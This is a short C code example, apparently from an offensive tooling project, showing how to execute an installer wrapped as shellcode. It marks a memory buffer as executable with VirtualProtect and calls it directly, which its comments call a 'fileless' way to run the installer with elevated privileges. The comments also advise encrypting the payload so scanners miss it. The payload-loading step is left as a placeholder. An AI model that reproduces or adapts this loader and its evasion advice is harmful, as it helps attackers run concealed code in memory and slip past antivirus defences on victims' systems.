#include // Example on how to use Install.shellcode // Install.shellcode wraps up Install.exe in a way that it can be loaded and executed as shellcode. int main() { // --- Elevated privileges required --- // 1. Load Install.shellcode from resources or from a BYTE[] // Ideally, encrypt the file and decrypt it here to avoid scantime detection. LPBYTE shellCode = ... // 2. Make the shellcode RWX. DWORD oldProtect; VirtualProtect(shellCode, shellCodeSize, PAGE_EXECUTE_READWRITE, &oldProtect); // 3. Cast the buffer to a function pointer and execute it. ((void(*)())shellCode)(); // This is the fileless equivalent to executing Install.exe. return 0; }
